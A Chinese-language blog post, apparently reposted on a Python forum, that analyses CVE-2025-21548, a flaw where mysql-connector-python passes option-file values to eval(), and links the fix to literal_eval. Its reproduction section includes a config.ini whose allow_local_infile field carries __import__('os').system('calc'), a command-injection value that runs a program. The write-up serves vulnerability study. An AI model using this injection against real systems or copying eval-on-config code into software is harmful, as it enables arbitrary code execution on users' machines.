社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

CVE-2025-21548(mysql客户端RCE)

珂技知识分享 • 3 周前 • 48 次点击  

一、 前言


中文搜这个漏洞,得出来得结果居然是Oracle MySQL Server 漏洞,但去官网上看通告,发现是mysql的python客户端漏洞

https://www.oracle.com/security-alerts/cpujan2025.html

不像java大家只用官方的mysql-connector-java一样,python中更常用的可能还是PyMySQL。

https://github.com/PyMySQL/

这次出漏洞的客户端是官方的mysql-connector-python,<=9.1.0。 

https://github.com/mysql/mysql-connector-python

虽然CVE上的描述比较多也比较宽泛,但官网上没有任何只言片语。

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2025-21548


此漏洞易于被利用,高权限攻击者可以通过多种协议通过网络访问 MySQL Connectors。成功的攻击需要除攻击者以外的其他人的交互。此漏洞的成功攻击可能导致未经授权地创建、删除或修改对关键数据或所有 MySQL Connectors 可访问数据的访问权限,以及未经授权读取部分 MySQL Connectors 可访问数据的权限,并可能导致 MySQL Connectors 挂起或频繁崩溃


二、 diff


这种情况只能去diff了,很容易发现。

据此找到commit

https://github.com/mysql/mysql-connector-python/commit/dd9ded0dec35dbba773487c548c336cf742830ab

确定sink点在optionfiles.py,解析配置文件时直接使用了eval,修复方案为literal_eval。


三、 复现


手动测试一下。

python3 -m pip install --upgrade mysql-connector-python==8.0.33
import mysql.connector
opt_file = 'config.ini'connection = mysql.connector.connect(    read_default_file=opt_file,    option_groups=["incorrect_config"])
[incorrect_config]
user=rootpassword=mypassdatabase=cpydataport=int(3306)allow_local_infile=__import__('os').system('calc')


非常简单易懂的漏洞。不过看起来跟漏洞描述对不上啊,这是怎么回事?搜mysql-connector-python的历史CVE,大部分都是这种类似的非常宽泛的描述。猜测是一种保护限制的烟雾弹?



Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/180651
 
48 次点击